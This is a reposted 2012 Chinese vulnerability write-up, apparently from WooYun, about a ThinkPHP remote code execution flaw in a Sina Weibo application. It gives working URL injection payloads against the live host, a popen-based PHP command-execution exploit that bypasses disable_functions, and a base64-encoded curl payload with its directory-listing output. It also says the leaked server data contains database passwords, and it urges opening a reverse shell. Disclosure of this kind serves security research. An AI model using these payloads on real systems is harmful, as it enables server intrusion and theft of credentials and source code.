新浪微博任意代码执行漏洞+突破限制拿shell+可能深入其他动作

2012-5-28 16:54:41 来源:网络转载 浏览:265
新浪微博最新漏洞公开:新浪微博任意代码执行漏洞+突破限制拿shell+可能深入其他动作。
简要描述:
新浪微博存在一处任意代码执行漏洞,但服务器有些disable_function限制,可惜太粗糙,导致绕过,反弹服务器shell,并可进一步渗透攻击。

详细说明:
Thinkphp的补丁被wooyun平台分析后,自己也读了一把,对漏洞发现者甚是膜拜,同时wofeiwo的出色分析也让人精神为之一爽,顿时湿了。
这个漏洞因为工作原因跟的慢了一些,去官方成功案例看了一下,没想到看到新浪微博一个应用用了这个框架,看了一把,确实存在哟。
http://tan.weibo.com/h/1/236/aaa/$%7B@print_r($_SERVER)%7D
读取到了服务器的$_SERVER变量,里面甚至还存在数据库地址与密码。。
本想执行个命令就提交wooyun,但是disable_functions了
http://tan.weibo.com/h/1/236/aaa/$%7B@print(get_cfg_var('disable_functions'))%7D
返回:
phpinfo,system,exec,shell_exec,passthru,proc_open,proc_close,show_source
呵呵,弱了点,突破方法很多,这里用popen做个exploit
error_reporting(E_ALL);$handle = popen('/bin/sh -c '."'$_POST[x]'".' 2>&1', 'r');echo "'$handle'; " . gettype($handle) . "\n";$read = fread($handle, 2096);echo $read;pclose($handle);die();

为什么用POST是因为框架的URI取值问题,POST就畅通无阻了
这个地方没处理单引号,方便了一些,但是poc里面的某些代码会干扰取值,所以encode一下
curl "http://tan.weibo.com/h/1/236/aaa/$%7B@eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTskaGFuZGxlID0gcG9wZW4oJy9iaW4vc2ggLWMgJy4iJyRfUE9TVFt4XSciLicgMj4mMScsICdyJyk7ZWNobyAiJyRoYW5kbGUnOyAiIC4gZ2V0dHlwZSgkaGFuZGxlKSAuICJcbiI7JHJlYWQgPSBmcmVhZCgkaGFuZGxlLCAyMDk2KTtlY2hvICRyZWFkO3BjbG9zZSgkaGFuZGxlKTtkaWUoKTs'))%7D" -d "x=ls"
'Resource id #33'; resource
Api
Conf
Data
Lib
Public
ThinkPHP
Tpl
api.php
co.php
db
favicon.ico
index.php
oauthcallback.php
pictureDownLoad.php
ssocallback.php
system
t.php
嘿。
这个因为访问权限的问题,可以访问到这个服务器上所有的源码。
因为是服务器群,所以执行的命令可能一会A,一会B,一会C。。这个自己想办法吧,既然可以执行命令了,直接弹shell。

漏洞证明:
新浪微博高危漏洞
     【图一】
新浪微博高危漏洞
    【图二】
新浪微博高危漏洞
    【图三】
新浪微博高危漏洞
    【图四】
(0)
(0)